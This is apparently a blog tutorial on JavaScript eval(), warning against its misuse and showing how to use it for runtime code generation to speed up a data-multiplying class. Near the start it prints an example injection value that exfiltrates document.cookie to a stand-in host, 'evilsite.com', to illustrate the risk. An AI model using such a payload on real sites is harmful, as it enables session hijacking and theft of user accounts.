If ever a feature of JavaScript was considered harmful, it's eval(). It's so commonly abused that if I'm interviewing a JS web developer, I usually ask something along the lines of "what is eval(), and why shouldn't you use it". It's so commonly abused that Yahoo JavaScript architect Douglas Cronkford considers it "evil", and his JavaScript style checker JSLint reports use of it as an error.
People dislike eval() because it's perceived to be slow and insecure. In this article I describe a way to use eval() to make your application faster.
Watch out! This is a black belt technique. Rasmus Lerdorf, the creator of PHP, once wrote that "if eval() is the answer, you're almost certainly asking the wrong question". Use it as a last resort when other optimisations have failed. Or to show off.
Dislike of eval() stems almost entirely from the commonly seen schoolboy error of using eval() whenever you need to access a variable whose name is stored in another variable:
// incorrect way of setting a member variable:
eval("myObject." + varName + " = 'new value'");
// the schoolboy should have done this:
myObject[varName] = 'new value';
Not only is the first version 20 times slower (tested on Firefox), but it is also an invitation to code execution attacks. Imagine what would happen if an attacker managed to set varName to this:
foo='new value';window.i = new Image(); i.src = 'http://evilsite.com/" + track.php?cookie=' + escape(document.cookie);//
Yup, that would set myObject.foo to 'new value', then create a new image, loaded from the attacker's site. The image is served from a script that records the cookie passed to it. If the script is clever, it will return a valid image so that no errors are produced, and nobody is the wiser. If your web application doesn't tie a session to a single IP address (like most PHP applications for example), the attacker can now extract your session ID from the cookie and log in as you. Ouch.
In fact, it's not just beginners that fall for this. This is a real example collected from an old tutorial on the respected (by me at least) site The Code Project:
// this function is supposed to take a string class name, create an
// instance of that class, and copy all of the members of the new
// instance into a dictionary. ${DEITY} knows why you'd want to do
// that, but that's not the point of this sample
// incorrect way of accessing members:
function CreateCollection(ClassName) {
var obj=new Array();
eval("var t=new "+ClassName+"()");
for(_item in t) {
eval("obj."+_item+"=t."+_item);
}
return obj;
}
// the above function should read:
function CreateCollection(ClassName) {
var obj = {}, _item, t = new window[ClassName]();
for(_item in t) {
obj[_item] = t[_item];
}
return obj;
}
With the growing popularity of JSON, poor little eval has finally become respected. It might be slow compared to square[bracket] member access, but since JSON is actually JavaScript code, it's much faster to parse JSON using eval than it is to parse XML using the DOM.
But there is another way that eval() can speed up your application...
JavaScript is a dynamic language and some things are just slow, in particular, function calls and for(x in y) loops. "Slow" is relative here - we're talking microseconds, but these things can really add up if you're doing them inside a loop that runs a few thousand times. This is a pity, because functions and loops help you write generic code that can be reused in other situations.
The problem is made worse when you consider that JavaScript only has one thread, so if a script spends a second calculating something, the whole UI will freeze up for a second - no buttons can be clicked or keystrokes typed.
Let's say you want to create a kind of class called a Multiplier. This class is constructed with a data object and a coefficient number. The data object is stored in a public variable, and every time the multiply() method is called, every number anywhere in the data object is multiplied by the coefficient. For example:
var mul = new Multiplier({a:10, subObject:{b: 11, c:"foo"}}, 2);
// mul.data == {a:10, subObject:{b: 11, c:"foo"}}
mul.multiply();
// mul.data == {a:20, subObject:{b: 22, c:"foo"}}
mul.multiply();
// mul.data == {a:40, subObject:{b: 44, c:"foo"}}
As I said, it's a contrived example, but the pattern behind it is common: you have to do something to an object, but you don't know the structure of the object in advance.
It's easy to implement. Here's one possible obvious implementation:
// this Multiplier uses reflection - i.e. for (x in y) - to traverse the data object
function ReflectingMultiplier(data, coefficient) {
this.data = data;
this.coefficient = coefficient;
}
ReflectingMultiplier.prototype.multiply = function() {
this._multiply(this.data);
}
ReflectingMultiplier.prototype._multiply = function(data) {
var prop;
for (prop in data) {
switch (typeof data[prop]) {
case "number":
data[prop] *= this.coefficient;
break;
case "object":
this._multiply(data[prop]);
break;
}
}
}
The problem with the above is that it's slow. In order to carry out two multiplication operations, each of which are extremely quick, you use two function calls and two for loops.
// ReflectingMultiplier test code: calculate the average time taken to call multiply()
var TIMES = 10000;
var mul = new ReflectingMultiplier({a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}}, 2);
var start = new Date();
for(var i=0; i<TIMES; i++) {
mul.multiply();
}
var end = new Date();
var time = end.getTime() - start.getTime();
alert((1000 * time / TIMES) + " microseconds average");
(by the way, this button calls eval() on the text in the above box - another good use for it)
The problem here is that the multiply() method inspects the object every time it is called, even though the data object never changes. If you knew the structure of the data object in advance, you could write a much better implementation:
// if you know the coefficient and the structure of the data object,
// everything is much simpler
ReflectingMultiplier.prototype.multiply = function() {
this.data.a *= 2;
this.data.b.foo *= 2;
this.data.b.bar *= 2;
this.data.c.quux *= 2;
this.data.c.blarty *= 2;
}
But you don't know the structure in advance, so you can't. So what's the solution... Write a new function for every structure of data object? Well you could, but that would be a pain to maintain. Worse, the code that uses a Multiplier would need to know the structure of the data object to select the right kind of Multiplier, so you aren't really writing a generic program.
The solution, as you have probably guessed from the title of the article, is to inspect the data object once and generate code for an appropriate multiply() method. You then use eval() to create the method.
Here's an implementation of the multiplier that does this:
// this Multiplier compiles a multiply() function in its constructor
function CompilingMultiplier(data, coefficient) {
this.data = data;
// compile multiply function
var codeString = "this.multiply = function() {\n";
var paths = this.getIntegerPaths(data);
for (var i=0; i<paths.length; i++) {
codeString += " this.data." + paths[i] + " *= " + coefficient + ";\n";
}
codeString += "}";
eval(codeString);
this.generatedCode = "Generated code:\n\n" + codeString;
}
// e.g. if data={a:10, subObject:{b: 11, c:"foo"}, return ["a", "subObject.b"]
CompilingMultiplier.prototype.getIntegerPaths = function(data) {
var paths = [];
this._getIntegerPaths(data, paths, []);
return paths;
}
CompilingMultiplier.prototype._getIntegerPaths = function(data, accumulator, stack) {
var prop, stackPos = stack.length;
for (prop in data) {
// regex to protect from code execution attacks - only allow valid variable names
if (!prop.match(/^\w+$/)) {
continue;
}
stack[stackPos] = prop;
switch (typeof data[prop]) {
case "number":
accumulator.push(stack.join("."));
break;
case "object":
this._getIntegerPaths(data[prop], accumulator, stack);
break;
}
}
stack.length = stack.length-1;
}
// It would actually be more appropriate to use "this.multiply = new Function(...)", which
// is a wrapper around eval for creating functions, but I'm trying to prove a point here :o)
// CompilingMultiplier test code: calculate the average time taken to call multiply()
var TIMES = 10000;
var mul = new CompilingMultiplier({a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}}, 2);
var start = new Date();
for(var i=0; i<TIMES; i++) {
mul.multiply();
}
var end = new Date();
var time = end.getTime() - start.getTime();
document.getElementById('generatedCode').innerHTML = mul.generatedCode.replace(/\n/g, "<br>");
alert((1000 * time / TIMES) + " microseconds average");
Your milage may vary, but I found the compiling version to be about 5 times faster than the reflecting version.
The compiling stage takes time - 850 microseconds in my tests. If you're using multiply() less than 30 times for each compilation, it's actually faster to use the reflecting version. One good way to make sure you compile as little as possible is to cache the generated functions. If you happen to know that each instance of the classes you're using has the same internal structure, you can do this:
// Caching the generated function so that only one function is generated for
// any given class
function CompilingMultiplier(data, coefficient) {
// every object has a hidden member variable 'constructor', which is
// a reference to its constructor function. By 'hidden' I mean that
// it doesn't show up in a for(x in y) loop.
if (data.constructor.__multiplierCache) {
this.multiplier = data.constructor.__multiplierCache;
} else {
... compile this.multiply function ...
data.constructor.__multiplierCache = this.multiply;
}
}
Use this technique when...
A note on debugging: Visual Studio handles generated functions just fine - it shows you the generated source as you step through it with a debugger. Firebug doesn't. If you can, get a PC (or run Parallels on a Mac) and debug with Visual Web Developer Express (see my instructions here). If the issue you're debugging is Mozilla only then you're probably being too clever - you shouldn't be generating code so complex that it has browser compatibility issues. Try capturing the source code of the generated function and temporarily paste it into the JavaScript source file, replacing the code generation, so that you can debug it.
Good luck!